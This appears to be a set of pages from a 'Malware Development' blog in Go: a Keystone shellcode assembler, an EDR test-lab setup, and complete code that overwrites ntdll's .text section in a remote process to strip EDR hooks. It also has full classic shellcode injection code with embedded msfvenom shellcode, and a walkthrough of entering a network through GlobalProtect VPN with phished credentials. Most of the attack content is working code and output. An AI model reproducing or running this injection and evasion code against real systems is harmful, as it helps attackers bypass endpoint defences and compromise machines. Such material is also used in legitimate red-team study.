ignored so it will be set to 0 * A pointer for the buffer to be written * A pointer for the size of the buffer to be written * A pointer for the number of statements successfully processed In order to get a pointer to null terminated string the following code can be used. Copy ptr, err := syscall.BytePtrFromString(asm) if err != nil { return []byte{}, fmt.Errorf("Failed to get byte ptr from string\n") } We now have everything we need to call the the ks\_asm function Copy var bytearray, size, count uintptr r1, _, _ = syscall.SyscallN(ks_asm_proc, ksSession, uintptr(unsafe.Pointer(ptr)), 0, uintptr(unsafe.Pointer(&bytearray)), uintptr(unsafe.Pointer(&size)), uintptr(unsafe.Pointer(&count)), ) if r1 != 0 { return []byte{}, fmt.Errorf("ks_asm failed") } ### [](https://www.scriptchildie.com/payloads/shellcode-development/1.-keystone-engine#bytes-in-a-slice) Bytes in a slice We then go ahead and copy the memory contents to a byte slice using the following code . Copy fmt.Println("[+] Copying bytes from memory to byte slice") bytes := make([]byte, size) copy(bytes, (*[1 << 30]byte)(unsafe.Pointer(bytearray))[:size]) return bytes, nil [](https://www.scriptchildie.com/payloads/shellcode-development/1.-keystone-engine#test-code) Test code ------------------------------------------------------------------------------------------------------------ Let's test our code to ensure we get the expected results. Copy func main() { asmString := "nop; nop; inc rax;" bytes, err := GenerateShellcode(asmString) if err != nil { log.Fatalln(err) } for _, bt := range bytes { fmt.Printf("0x%x ", bt) } } With this sequence of commands we should expect the following output ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252Fpx5U0IskTgv1za1F0QsT%252Fimage.png%3Falt%3Dmedia%26token%3D1ff0adb6-0f19-440d-87d4-986214f6567a&width=768&dpr=4&quality=100&sign=93d6e401&sv=2) The output of our script matches the expected results. Great :) ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FyxVV4JhrvrdmCjDjJ5wY%252Fimage.png%3Falt%3Dmedia%26token%3D0b880a5a-ca94-4fa6-8649-714ec03dd83d&width=768&dpr=4&quality=100&sign=56fc70ee&sv=2) Last updated 1 year ago Was this helpful? --- # 1. Setting up a testing environment | Malware Development #### [](https://www.scriptchildie.com/evasion/edr-bypass/1.-setting-up-a-testing-environment#the-edr-usually-consists-of-two-elements) The EDR usually consists of two elements: * A web console where the data from the endpoints is visualized. This could be self hosted or it could be a cloud based application. This really depends on the provider. * The Endpoint Agent that feeds the data to the central database. The agent itself has multiple components such as kernel drivers, dlls, services etc. OpenEDR consists of [these components](https://github.com/ComodoSecurity/openedr?af=7639) . #### [](https://www.scriptchildie.com/evasion/edr-bypass/1.-setting-up-a-testing-environment#there-are-various-options-when-it-comes-to-setting-up-a-testing-lab) There are various options when it comes to setting up a testing lab: * OpenEDR - offers a free EDR solution. Also the management console is cloud hosted so no additional VMs are required to start testing. The process is literally sign up > Install agent and you are good to go. * Elastic - offers a free EDR solution. You do however have to setup the a linux host running the monitoring console and database of the EDR. A great walkthrough (by [IppSec](https://www.youtube.com/@ippsec) ) on how to set it up can be found on YouTube _"_[_Setting Up Elastic 8 with Kibana, Fleet, Endpoint Security, and Windows Log Collection_](https://www.youtube.com/watch?v=Ts-ofIVRMo4) _"_ * Microsoft Defender for Endpoint. I have never tried it myself but Microsoft offers a 30-day trial of their [business solution](https://www.microsoft.com/en-gb/security/business/endpoint-security/microsoft-defender-business-b?) . This is great if you are trying to match a target environment and want to test payloads in advance. A 30-day trial however, is not great to have as a long term playground. ### [](https://www.scriptchildie.com/evasion/edr-bypass/1.-setting-up-a-testing-environment#openedr) [OpenEDR](https://www.openedr.com/) For the sake of simplicity I will write quick walk through on how to set up OpenEDR. * To get started all we have to do is visit [OpenEDR's](https://www.openedr.com/) website, click on "Get Started for Free". ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FNlkHfOuxubvX4GQ6CaxM%252Fimage.png%3Falt%3Dmedia%26token%3D73f53a32-918a-4c02-9d96-65736073355f&width=768&dpr=4&quality=100&sign=92ca7f3&sv=2) OpenEDR landing page * We then get redirected to the following site. All we have to do is fill in the page and create an account. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FB51xhwBp2FHLE454Tyfw%252Fimage.png%3Falt%3Dmedia%26token%3Dbfd18a30-149b-40b0-83c3-35cdf90790e6&width=768&dpr=4&quality=100&sign=7106662a&sv=2) Fill In the Form * You will then be prompted to set up a 2FA. That's highly recommended ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FWKMdyKTy3iYvc3KSLJSg%252Fimage.png%3Falt%3Dmedia%26token%3Df6a09a90-b88c-4783-9180-f052a195c2da&width=768&dpr=4&quality=100&sign=e11271c9&sv=2) 2FA setup * After setting the 2FA up (or not) it will take a while for the account to be up and running. Be patient don't refresh halfway through the process. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FjAC0BPHdR1m0WXG2SqKY%252Fimage.png%3Falt%3Dmedia%26token%3D73e0120d-74df-4bef-a4e4-a22b4326264e&width=768&dpr=4&quality=100&sign=35578eab&sv=2) Waiting for the Portal privisioning * Once all is ready we are greeted with the following window ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FWAwvgexq6a2WpYdth3yQ%252Fimage.png%3Falt%3Dmedia%26token%3D36973ba0-54b6-4bdf-a285-ed0bdc0e3421&width=768&dpr=4&quality=100&sign=a5fc4cb3&sv=2) Install the Agent * All we have to do at this point is to download the MSI to the endpoint using the provided link and install it. This will enrol the endpoint to the portal. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252F8vytjVxUQUfrNqcyBTaZ%252Fimage.png%3Falt%3Dmedia%26token%3D5516f9a8-914f-4a41-8f4e-a40c667232c9&width=768&dpr=4&quality=100&sign=331694c0&sv=2) Enrol using the installer * The endpoint will appear in the device list on the portal if it's enrolled successfully. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FPXH3DK5TaLfMM7PpiX4j%252Fimage.png%3Falt%3Dmedia%26token%3D7c5776b0-1801-491e-9914-b33b21720de5&width=768&dpr=4&quality=100&sign=9407bdb7&sv=2) Host EDR\_Test enrolled in the portal * Once enrolled we can then install the AV and EDR capabilities. That's done by selecting the asset and click the menu "Install or Manage Packages" > Install Additional Xcitium Packages ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FgF4v8EpRfOpod29oRBs2%252Fimage.png%3Falt%3Dmedia%26token%3Db306a7ac-3891-4f9b-bde7-6098409166cd&width=768&dpr=4&quality=100&sign=6c750616&sv=2) Install Additional Xcitium Packages * We will be prompted with the following window. Both Security and EDR packages should be installed. I found this part to be a bit unstable and multiple restarts were required: ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FN0RjLinwXcqVhcH39e0p%252Fimage.png%3Falt%3Dmedia%26token%3D06faa769-4a80-497a-92ec-f0a2ddd0aacd&width=768&dpr=4&quality=100&sign=9e6495b1&sv=2) Install packages * The final step to activate all the EDR features is to click on the asset name and navigate to "Manage Profiles" on the top left ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FZlmAelFKARY433XSHlzQ%252Fimage.png%3Falt%3Dmedia%26token%3D48695653-9d9b-4bd5-8820-32277f845d03&width=768&dpr=4&quality=100&sign=b1eb47a&sv=2) Manage Profiles We hen click on "Add Profiles" select all of them and click on save. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FYrfwByuqC7vjo5QqD17e%252Fimage.png%3Falt%3Dmedia%26token%3D3fe1fd8a-9584-459e-a8b1-7be6601e1d7f&width=768&dpr=4&quality=100&sign=1a8f6201&sv=2) Profiles assigned to the asset We now have a free lab with an EDR agent running where we could test our payloads. Last updated 2 years ago Was this helpful? --- # 2. Load a fresh copy of the dll from disk | Malware Development This technique is probably the easiest way of getting rid of the hooks. It is not always effective since the EDR might perform integrity checks on the loaded dll and either reinstall the hooks or flag our activity as malicious. Also the EDR might flag our process as malicious when we try load the dll from disk. The sample code below is used as part of [sliver C2](https://github.com/BishopFox/sliver/blob/master/implant/sliver/evasion/evasion_windows.go) (great resource when learning malware development in Golang). We will slightly modify the code to unhook dll in remote processes as well. ### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/2.-load-a-fresh-copy-of-the-dll-from-disk#lets-break-the-code-down) Let's break the code down What we want to achieve is to read the contents of a dll from the disk and overwrite the dll with the hooked functions in memory of any process whether remote or current process. This is done by reading the .text section of the dll having all the executable code and overwrite the code in memory. To identify the offset of the .text region from the base address and the size of the .text region the [debug/pe](https://pkg.go.dev/debug/pe) package was used. Copy func RefreshPE(name string, pid int) error { fmt.Printf("Reloading %s...\n", name) df, err := os.ReadFile(name) if err != nil { return err } f, err := pe.Open(name) if err != nil { return err } x := f.Section(".text") ddf := df[x.Offset:x.Size] return writeGoodBytes(ddf, name, pid, x.VirtualAddress, x.Name, x.VirtualSize) } line 1: Function declaration with arguments of the dll path and the process pid. lines 3-6: Read contents of the dll file from disk to a byte slice 'df' lines 7: Opens file and initiates the debugging session line 12: Gets the details of the .text section line 13: Create a new slice with the contents of the .text section only line 14: calls the writeGoodBytes function The following code overwrites the .text section of the loaded dll with the bytes in the slice from the previous function. DLLs are loaded in the same virtual address across all processes. So identifying the dll base address in the current process essentially gives us the location of the dll in all processes. Copy func writeGoodBytes(b []byte, pn string, pid int, virtualoffset uint32, secname string, vsize uint32) (err error) { var pHandle windows.Handle t, err := windows.LoadDLL(pn) if err != nil { return err } h := t.Handle dllBase := uintptr(h) fmt.Printf("DLL Base Address 0x%x\n", dllBase) dllOffset := uint(dllBase) + uint(virtualoffset) fmt.Printf("DLL Text Region 0x%x\n", dllOffset) if pid == -1 { pHandle = windows.CurrentProcess() } else { pHandle, err = windows.OpenProcess(windows.PROCESS_VM_WRITE|windows.PROCESS_VM_OPERATION, false, uint32(pid)) if err != nil { return err } } var numberOfBytesWritten uintptr err = windows.WriteProcessMemory(pHandle, uintptr(dllOffset), &b[0], uintptr(len(b)), &numberOfBytesWritten) if err != nil { return err } fmt.Printf("DLL overwritten Bytes %x/%x", numberOfBytesWritten, len(b)) return nil } * Lines 3-7: Identify the base address of the dll. This could be replaced by walking the PEB method. This method will be explored in upcoming blog when we implement hell's gate in golang * Lines 8-11: Calculate the the memory address to write our fresh dll * Lines 13-20: Get a handle on the remote / current process * Lines 21-27: Write fresh bytes to the specified address For this example we will load a fresh copy of the ntdll.dll of the remote process with pid 3396 Copy func main() { err := RefreshPE(`C:\Windows\System32\ntdll.dll`, 3396) if err != nil { fmt.Println(err) } } Let's see how the function ntdll!NtAdjustPrivilegesToken looks before and after running the script ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FUBpJkQgR0LN2E5Pkfjoj%252Fimage.png%3Falt%3Dmedia%26token%3D76ae131b-f8b8-4c0a-a50f-64037b46233d&width=768&dpr=4&quality=100&sign=18d4b1a8&sv=2) Before and after running the code Terminal Output Copy PS C:\Users\TEST\Desktop\unhook> go run . Reloading C:\Windows\System32\ntdll.dll... Target Process: 3396 DLL Base Address 0x7ff9b0590000 DLL Text Region 0x7ff9b0591000 DLL overwritten Bytes 12c000/12c000 PS C:\Users\TEST\Desktop\unhook> ### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/2.-load-a-fresh-copy-of-the-dll-from-disk#complete-code) Complete Code Copy /* Slightly modified version of the code from sliver c2 It's possible to reload a fresh dll into a remote process https://github.com/BishopFox/sliver/blob/master/implant/sliver/evasion/evasion_windows.go */ package main import ( "debug/pe" "fmt" "os" "golang.org/x/sys/windows" ) func main() { err := RefreshPE(`C:\Windows\System32\ntdll.dll`, 3396) if err != nil { fmt.Println(err) } } // RefreshPE reloads a DLL from disk into any process // in an attempt to erase AV or EDR hooks placed at runtime. // use pid -1 for current process func RefreshPE(name string, pid int) error { fmt.Printf("Reloading %s...\n", name) df, err := os.ReadFile(name) if err != nil { return err } f, err := pe.Open(name) if err != nil { return err } x := f.Section(".text") ddf := df[x.Offset:x.Size] return writeGoodBytes(ddf, name, pid, x.VirtualAddress, x.Name, x.VirtualSize) } func writeGoodBytes(b []byte, pn string, pid int, virtualoffset uint32, secname string, vsize uint32) (err error) { var pHandle windows.Handle t, err := windows.LoadDLL(pn) if err != nil { return err } h := t.Handle dllBase := uintptr(h) fmt.Printf("DLL Base Address 0x%x\n", dllBase) dllOffset := uint(dllBase) + uint(virtualoffset) fmt.Printf("DLL Text Region 0x%x\n", dllOffset) if pid == -1 { pHandle = windows.CurrentProcess() } else { pHandle, err = windows.OpenProcess(windows.PROCESS_VM_WRITE|windows.PROCESS_VM_OPERATION, false, uint32(pid)) if err != nil { return err } } var numberOfBytesWritten uintptr err = windows.WriteProcessMemory(pHandle, uintptr(dllOffset), &b[0], uintptr(len(b)), &numberOfBytesWritten) if err != nil { return err } fmt.Printf("DLL overwritten Bytes %x/%x", numberOfBytesWritten, len(b)) return nil } Last updated 2 years ago Was this helpful? --- # 1. Classic Shellcode Injection | Malware Development This technique is very similar to the [Shellcode Runner](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/4.-shellcode-runner) technique. The only difference is that the shellcode will be injected in a remote process rather than the current process. The Windows APIs required to perfrom this technique are the following: * [OpenProcess](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess) * [VirtualAllocEx](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex) * [WriteProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory) * [VirtualProtectEx](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotectex) * [CreateRemoteThread](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread) ### [](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/1.-classic-shellcode-injection#get-a-handle-on-a-remote-process) Get a handle on a remote Process To get a handle on a remote process the OpenProcess winapi will be used. Copy HANDLE OpenProcess( [in] DWORD dwDesiredAccess, [in] BOOL bInheritHandle, [in] DWORD dwProcessId ); * dwDesiredAccess: This is defined by the rest of the APIs that we will use. * VirtualAllocEX -> PROCESS\_VM\_OPERATION * WriteProcessMemory -> PROCESS\_VM\_WRITE and PROCESS\_VM\_OPERATION * CreateRemoteThread -> PROCESS\_CREATE\_THREAD, PROCESS\_QUERY\_INFORMATION, PROCESS\_VM\_OPERATION, PROCESS\_VM\_WRITE, and PROCESS\_VM\_READ * Alternatively we can use PROCESS\_ALL\_ACCESS for convenience * More information on [process security and access rights](https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights) * bInheritHandle: Will be set to false * dwProcessId: Will be the ID of the process to get a handle on Luckily the OpenProcess API is part of the windows package Copy pid := uint32(12240) PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid) pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid) if err != nil { log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err) } fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid) [](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/1.-classic-shellcode-injection#allocating-memory-on-remote-process) Allocating memory on remote process ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- VirtuallAllocEx will be used for allocating memory for our shellcode in the remote memory. Copy LPVOID VirtualAllocEx( [in] HANDLE hProcess, [in, optional] LPVOID lpAddress, [in] SIZE_T dwSize, [in] DWORD flAllocationType, [in] DWORD flProtect ); * hProcess: Process Handle returned by the OpenProcess API * lpAddress: We will let the API decide where to allocate the memory, therefore this value will be set to 0 * dwSize: Will be the size of our shellcode * flAllocationType: We need to reserve and commit memory * flProtect: This can be done in a number of ways. To write and execute shellcode we will need rwx permissions. It is however unusual for legitimate programs to allocate memory with rwx permissions and it is usually flagged my AV engines. Another option is to assign rx or rw and then change permissions as needed for writing and executing with VirtualProtectEx. **NOTE:** [WriteProcessMemory](https://devblogs.microsoft.com/oldnewthing/20181206-00/?p=100415) that is used later on will temporarily assign WRITE permissions if they are missing from the memory page using VirtualAllocEx. It might be a good idea to manually manage permissions to avoid additional calls to VirtualAllocEx. Copy modKernel32 := syscall.NewLazyDLL("kernel32.dll") procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx") addr, _, lastErr := procVirtualAllocEx.Call( uintptr(pHandle), uintptr(0), uintptr(len(sc)), uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE), uintptr(windows.PAGE_READWRITE)) if addr == 0 { log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr) } fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr) ### [](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/1.-classic-shellcode-injection#writing-shellcode-to-remote-process) Writing shellcode to remote process WriteProcessMemory winapi will be used to write shellcode to the remote memory Copy BOOL WriteProcessMemory( [in] HANDLE hProcess, [in] LPVOID lpBaseAddress, [in] LPCVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesWritten ); * hProcess: Process Handle returned by the OpenProcess API * lpBaseAddress: Value returned from VirtualAllocEx * lpBuffer: A pointer to the beginning of our shellcode byte array * nSize: Size of our shellcode * lpNumberOfBytesWritten: Ouputs the number of bytes written to the destination address Copy var numberOfBytesWritten uintptr err = windows.WriteProcessMemory(pHandle, addr, &sc[0], uintptr(len(sc)), &numberOfBytesWritten) if err != nil { log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address") } fmt.Printf("[+] Wrote %d bytes to destination address\n", numberOfBytesWritten) ### [](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/1.-classic-shellcode-injection#change-memory-permissions) Change Memory Permissions Since the memory permissions were set to PAGE\_READWRITE we now need to set them to PAGE\_EXECUTE\_READ. This can be achieved with VirtualProtectEx. Copy BOOL VirtualProtectEx( [in] HANDLE hProcess, [in] LPVOID lpAddress, [in] SIZE_T dwSize, [in] DWORD flNewProtect, [out] PDWORD lpflOldProtect ); * hProcess: Process Handle returned by the OpenProcess API * lpAddress: is the target address return from VirtualAlloc * dwSize: is the size of our shellcode * flNewProtect: is the new permissions we would like to assign PAGE\_EXECUTE\_READ * lpflOldProtect: will store the old permissions in case we want to restore them later on. Copy var oldProtect uint32 err = windows.VirtualProtectEx(pHandle, addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect) if err != nil { log.Fatalf("[FATAL] VirtualProtect Failed: %v", err) } ### [](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/1.-classic-shellcode-injection#create-remote-thread) Create Remote Thread CreateRemoteThread API will be used to create a thread and run the shellcode. Copy HANDLE CreateRemoteThread( [in] HANDLE hProcess, [in] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] SIZE_T dwStackSize, [in] LPTHREAD_START_ROUTINE lpStartAddress, [in] LPVOID lpParameter, [in] DWORD dwCreationFlags, [out] LPDWORD lpThreadId ); Only three parameters will be used and the rest will be set to null * hProcess: Process Handle returned by the OpenProcess API * lpStartAddress: The address returned by the VirtualAllocEX API * lpThreadId: Returns the newly created threadID Copy procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread") var threadId uint32 = 0 tHandle, _, lastErr := procCreateRemoteThread.Call( uintptr(pHandle), uintptr(0), uintptr(0), addr, uintptr(0), uintptr(0), uintptr(unsafe.Pointer(&threadId)), ) if tHandle == 0 { log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr) } fmt.Printf("[+] Handle of newly created thread: 0x%x \n[+] Thread ID: %d\n", tHandle, threadId) ### [](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/1.-classic-shellcode-injection#execute-code) Execute Code: ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252F0Rs62t8n5a8rM9R1eHr8%252Fimage.png%3Falt%3Dmedia%26token%3D8fcbcf15-0d32-484f-b078-ca15c551131a&width=768&dpr=4&quality=100&sign=966fffc7&sv=2) Calculator successfully popped up. ### [](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/1.-classic-shellcode-injection#complete-code) Complete Code Copy package main import ( "encoding/hex" "fmt" "log" "syscall" "unsafe" "golang.org/x/sys/windows" ) func main() { pid := uint32(21336) PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF //msfvenom -f hex -p windows/x64/exec cmd=calc sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300") fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid) pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid) if err != nil { log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err) } fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid) modKernel32 := syscall.NewLazyDLL("kernel32.dll") procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx") addr, _, lastErr := procVirtualAllocEx.Call( uintptr(pHandle), uintptr(0), uintptr(len(sc)), uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE), uintptr(windows.PAGE_READWRITE)) if addr == 0 { log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr) } fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr) var numberOfBytesWritten uintptr err = windows.WriteProcessMemory(pHandle, addr, &sc[0], uintptr(len(sc)), &numberOfBytesWritten) if err != nil { log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address") } fmt.Printf("[+] Wrote %d/%d bytes to destination address\n", numberOfBytesWritten, len(sc)) var oldProtect uint32 err = windows.VirtualProtectEx(pHandle, addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect) if err != nil { log.Fatalf("[FATAL] VirtualProtect Failed: %v", err) } procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread") var threadId uint32 = 0 tHandle, _, lastErr := procCreateRemoteThread.Call( uintptr(pHandle), uintptr(0), uintptr(0), addr, uintptr(0), uintptr(0), uintptr(unsafe.Pointer(&threadId)), ) if tHandle == 0 { log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr) } fmt.Printf("[+] Handle of newly created thread: 0x%x \n[+] Thread ID: %d\n", tHandle, threadId) } Last updated 1 year ago Was this helpful? --- # 2. Global Protect Abuse 2/2 | Malware Development [](https://www.scriptchildie.com/evasion/edr-bypass/3.-vpn-abuse-for-endpoint-protection-evasion/2.-global-protect-abuse-2-2#introduction) Introduction ------------------------------------------------------------------------------------------------------------------------------------------------------------ In part 1 on this blog post we explored how to collect usernames, certificates, credentials and how to bypass MFA with the aim of gaining access to the target network. In this blog post we will see how we can connect to the target network and how we can harden our VPN configuration in order to stop attackers using this attack vector. [](https://www.scriptchildie.com/evasion/edr-bypass/3.-vpn-abuse-for-endpoint-protection-evasion/2.-global-protect-abuse-2-2#connecting-to-the-target-network) Connecting to the target network ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- With all the information we have now all that is left to do is to login the portal, download the VPN client and connect to the target network. In our lab the GlobalProtect Portal can be found on https://192.168.198.250/global-protect/login.esp Using the credentials captured previously through our sliver implant we can login. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252Fj3J8B8WiHXbIgkhX3JpI%252Fimage.png%3Falt%3Dmedia%26token%3Df76650ca-b012-4e9c-8bc7-69c38bb923ec&width=768&dpr=4&quality=100&sign=f0804579&sv=2) Login Using phished creds We can then download the vpn client on our attacking machine ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FMOPHoAUPhLsssBXUMOVe%252Fimage.png%3Falt%3Dmedia%26token%3D72fabacb-932d-41e5-8b63-56354c1275fc&width=768&dpr=4&quality=100&sign=b85a69aa&sv=2) Download the Client Once the client is installed all we will need is the portal url, credentials and potentially get the user to authenticate again if we get prompted for Multi Factor Authentication. When the client is installed we will see the following on the bottom right of our screen. If not we can click on the global protect icon showing up next to the time and date. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252Fi5T8WJfX0U2nzDLFPEf1%252Fimage.png%3Falt%3Dmedia%26token%3D28efe72f-ffcb-4ba2-a23f-35fd6a182ea7&width=768&dpr=4&quality=100&sign=ccaa57be&sv=2) GlobalProtect Client Installed We type in the portal IP or DNS name and hit connect. We will then get a prompt to type in our credentials. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252Fzs4PxzpUKkv7dCSwv4OP%252Fimage.png%3Falt%3Dmedia%26token%3D2eb3dfd4-bd36-4aad-a619-7c37d3fe30ef&width=768&dpr=4&quality=100&sign=86cf7ad&sv=2) Login as dave.daves And that's it we are in. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FxOpoNQxSIVBBuQnJwcUp%252Fimage.png%3Falt%3Dmedia%26token%3D8d816a76-be00-4eef-87d8-687433b9c0f9&width=768&dpr=4&quality=100&sign=e11319eb&sv=2) Success We can now run our favourite tooling without worrying about any sort of endpoint protection. (Obviously that doesn't include any network level protection.) 